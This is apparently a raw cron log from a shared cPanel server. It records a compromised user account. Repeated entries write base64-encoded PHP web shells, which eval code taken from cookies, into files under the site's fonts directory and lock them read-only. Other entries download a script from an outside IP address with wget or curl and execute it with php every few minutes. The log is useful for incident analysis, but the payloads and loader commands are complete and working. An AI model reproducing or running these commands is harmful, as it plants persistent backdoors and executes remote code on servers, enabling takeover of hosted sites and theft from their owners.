Sep 12 04:53:01 ip-184-168-122-23 CROND[30327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:54:01 ip-184-168-122-23 CROND[30432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:54:01 ip-184-168-122-23 CROND[30434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:54:01 ip-184-168-122-23 CROND[30433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:54:01 ip-184-168-122-23 CROND[30435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:54:01 ip-184-168-122-23 CROND[30436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:55:01 ip-184-168-122-23 CROND[30620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:55:01 ip-184-168-122-23 CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:55:01 ip-184-168-122-23 CROND[30622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:55:01 ip-184-168-122-23 CROND[30625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:55:01 ip-184-168-122-23 CROND[30623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:55:01 ip-184-168-122-23 CROND[30626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:56:01 ip-184-168-122-23 CROND[30728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:56:01 ip-184-168-122-23 CROND[30730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:56:01 ip-184-168-122-23 CROND[30732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:56:01 ip-184-168-122-23 CROND[30731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:56:01 ip-184-168-122-23 CROND[30734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:57:01 ip-184-168-122-23 CROND[30863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:57:01 ip-184-168-122-23 CROND[30864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:57:01 ip-184-168-122-23 CROND[30866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:57:01 ip-184-168-122-23 CROND[30867]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep 12 04:57:01 ip-184-168-122-23 CROND[30868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:57:51 ip-184-168-122-23 crontab[31068]: (root) LIST (root)
Sep 12 04:57:51 ip-184-168-122-23 crontab[31070]: (root) LIST (root)
Sep 12 04:57:58 ip-184-168-122-23 crontab[31159]: (root) LIST (root)
Sep 12 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 12 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 12 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 12 04:58:01 ip-184-168-122-23 CROND[31218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:58:01 ip-184-168-122-23 CROND[31217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:58:01 ip-184-168-122-23 CROND[31219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:58:01 ip-184-168-122-23 CROND[31220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:58:01 ip-184-168-122-23 CROND[31225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:59:01 ip-184-168-122-23 CROND[31879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:59:01 ip-184-168-122-23 CROND[31880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:59:01 ip-184-168-122-23 CROND[31882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:59:01 ip-184-168-122-23 CROND[31883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:00:01 ip-184-168-122-23 CROND[32135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:00:01 ip-184-168-122-23 CROND[32136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:00:01 ip-184-168-122-23 CROND[32138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:00:01 ip-184-168-122-23 CROND[32140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:00:01 ip-184-168-122-23 CROND[32142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:00:01 ip-184-168-122-23 CROND[32143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:00:01 ip-184-168-122-23 CROND[32145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:00:01 ip-184-168-122-23 CROND[32144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:01:01 ip-184-168-122-23 CROND[32259]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 05:01:01 ip-184-168-122-23 CROND[32261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:01:01 ip-184-168-122-23 CROND[32260]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:01:01 ip-184-168-122-23 CROND[32265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:01:01 ip-184-168-122-23 CROND[32268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:01:01 ip-184-168-122-23 CROND[32266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32259]: starting 0anacron
Sep 12 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32279]: finished 0anacron
Sep 12 05:02:01 ip-184-168-122-23 CROND[32439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:02:01 ip-184-168-122-23 CROND[32442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:02:01 ip-184-168-122-23 CROND[32441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:02:01 ip-184-168-122-23 CROND[32440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:02:01 ip-184-168-122-23 CROND[32443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:03:01 ip-184-168-122-23 CROND[32531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:03:01 ip-184-168-122-23 CROND[32534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:03:01 ip-184-168-122-23 CROND[32533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:03:01 ip-184-168-122-23 CROND[32535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:04:01 ip-184-168-122-23 CROND[32647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:04:01 ip-184-168-122-23 CROND[32649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:04:01 ip-184-168-122-23 CROND[32651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:04:01 ip-184-168-122-23 CROND[32650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:04:01 ip-184-168-122-23 CROND[32652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:05:01 ip-184-168-122-23 CROND[395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
